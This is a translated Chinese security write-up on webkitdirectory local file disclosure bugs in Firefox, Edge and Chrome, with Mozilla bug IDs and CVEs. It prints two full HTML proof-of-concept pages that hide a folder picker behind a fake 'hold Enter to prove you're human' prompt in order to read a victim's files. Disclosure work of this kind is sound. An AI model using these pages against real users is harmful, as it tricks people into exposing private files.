【技术分享】针对跨浏览器的本地文件泄露漏洞的分析

阅读量130909

|

发布时间 : 2017-04-17 11:03:17

x
译文声明

本文是翻译文章,文章来源:安全客

原文地址:http://leucosite.com/Chrome-Firefox-Edge-Local-File-Disclosure/

译文仅供参考,具体内容表达以及含义原文为准。

http://p3.qhimg.com/t011ce5624b2fde5fe2.jpg

翻译:shan66

预估稿费:120RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

你知道吗?你可以轻松把普通的文件选择器变成文件夹选择器,为此,只需将属性“webkitdirectory”添加到type ='file'的给定输入元素中就行了。

当然,与文件夹选择器不同的是,您最终会加载给定文件夹中的所有文件。这是一个明显的漏洞,机不可失,一阵忙活之后,我最终在三种主流浏览器中找到了一些相关的安全漏洞。

下面,我会针对不同的浏览器分别进行介绍。


火狐浏览器

我已经提交了三个与Mozilla的webkitdirectory功能有关的安全漏洞。幸运的是,文件夹选择器仅在Mozilla的Nightly版本的浏览器中提供了相应的实现,这个版本是在稳定版本发布之前用来测试新功能的。

Bug 1295914——webkitdirectory可以用来引诱用户允许访问任意文件夹(SEC-MEDIUM)

我报告的文件夹选择器方面的第一个安全漏洞与不良语义有关。这个安全漏洞是受到了Google Chrome中修复的一个漏洞的启发而找到的,这种漏洞可用来欺骗毫无戒心的用户。

Bug 1319370(CVE-2017-5414)webkitdirectory——操作系统用户名泄露(SEC-MEDIUM)

我认为第二个漏洞是泄露本地文件的关键所在。这里的问题在于,当文件选择器被打开一次后,那么第二次打开它时,它会“降级”文件夹。

所以我制作了一个PoC,其效果为:如果我们诱骗受害者按住“Enter”键,同时弹出一个文件夹,就能导致用户在不知情的情况下“挑选”某些文件夹。

为了获取操作系统用户名,受害者需要按住用于两个文件夹对话框的确认按钮,因为(在Windows上)默认目录是'C: Users {username} Desktp '。

这是利用这个漏洞时所依赖的主要用户互动,这主要是受到了一个较旧的Mozilla漏洞的启发。另一种方式是欺骗用户反复按下某个位置并弹出文件夹,这样的话“confirm pick”按钮将被自动按下。

Bug 1338637——任意输入本地文件[webkitdirectory](SEC-MEDIUM)

我发现,如果在用户按下“Enter”键时弹出一个文件夹的话,那么我们可以欺骗受害者,使我们可以访问默认目录中的所有文件。当然,这种方式还是有一些局限性的,因为在Windows操作系统上,似乎只有“我的文档”文件夹受此影响。

如果它是一个"我的文档"之外的文件夹,如“桌面”(默认),则不会加载任何东西。但是,在其他操作系统上,情况就不同了。

幸运的是,我们前面说过有一个漏洞,其中文件夹将在文件夹选择器使用后“降级”,所以这里可以利用这一点。

以下是原始的PoC。请注意,单凭第一个安全漏洞是远远不够的,只有在组合第二个和第三个安全漏洞之后,才最终得到了一个PoC。

<html>
<head>
</head>
<body>
<style>
#q{
opacity:0.0;
}
</style>
<b>Hold down enter for 5 seconds to prove you're human</b>
<input type=file id=q webkitdirectory='true'><br>
<textarea id="qtxt" style="height:300px;">Things grabbed:</textarea>
<script>
var i=25;
document.onkeypress=function(e){if(q.value.length>0){qtxt.value+=(q.value+'n');}
if(q.value=='Documents'){
window.i=1000;
}
if(e.key==='Enter'){
window.i--;
if(window.i<3){
q.click();
}
}
};
q.onchange=function(){
if(window.i>10){
document.body.innerHTML=('I can read '+q.files.length+' files from Documents folder');
}
}
</script>
</body>
</html>

微软Edge浏览器

我在Edge中发现了一个类似的安全漏洞,不同之处在于默认目录是“我的文档”,所以我在报告中指出,文件夹选择器可以用来接收受害者文档文件夹中的所有文件。

这个漏洞目前已经被修复了。

原始PoC: 

<html>
<head>
    <title>
Read all files on PC - PoC - By @qab
    </title>
    <style>
        #thing {
            opacity: 0.0;
        }
    </style>
</head>
<body>
    <h3 id="qmsg">Hold down the ENTER key for 5 seconds to prove you're human..</h3>
    <input id="thing" type="file" webkitdirectory mozdirectory accept="text/*" />
    <script>
  var r = new FileReader();
        thing.onchange = function() {
            alert('I can read ' + this.files.length + ' files from anywhere on your pc!');//This is for PoC only. We can access all data using this.files as seen next.
r.onload=function(){
alert(r.result);
};
r.readAsText(thing.files[0]);
        };
        //This is where we detect if the user is holding the Enter button.
        var i = 0;
        document.onkeydown = function() {
            i++;
            if (i > 4) {
                thing.click();
                i = -10000;
                document.onkeydown = null;
                setTimeout(function() {
                    qmsg.innerHTML = '<u>Thank you! Please wait while we verify (this might take a few minutes).</u>';
                }, 1000);
            };
        };
    </script>
</body>
</html>


谷歌浏览器

在这些漏洞方面,谷歌是第一家与我接洽的供应商。最初收到的评级为SEC-MEDIUM,后来更改为SEC-LOW,然后就石沉大海了。事实证明,如果有人尝试大规模使用这种类型的漏洞的话,Chrome就能检测到这种类型的漏洞,因为浏览器会自身提供了相应的安全记录。

截至目前为止,我虽然没有完全搞明白,但我相信他们的意思是,他们可以检测和阻止任何恶意网站,如果相应文件夹上传器的使用率陡升的话。在2007年4月13日向微软提交PoC报告时,该PoC仍然在Chrome上有效。

最糟糕的是,如果文件夹选择器默认为'C:',您就能够读取整个磁盘——因为文件夹选择器会上传所有子目录中的全部文件。


参考文献

Arbitrary local files disclosure in input[webkitdirectory] bug report: https://bugzilla.mozilla.org/show_bug.cgi?id=1338637 

(CVE-2017-5414) webkitdirectory – OS username disclosurehttps://bugzilla.mozilla.org/show_bug.cgi?id=1319370 

webkitdirectory could be used to trick users into allowing access to arbitrary foldershttps://bugzilla.mozilla.org/show_bug.cgi?id=1295914 

(CVE-2016-7239) Microsoft Edge Information Disclosure Vulnerabilityhttps://technet.microsoft.com/library/security/mt674627.aspx 

Google bug reporthttps://bugs.chromium.org/p/chromium/issues/detail?id=637098 

本文翻译自安全客 原文链接。如若转载请注明出处。
分享到:微信
+10赞
收藏
shan66
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66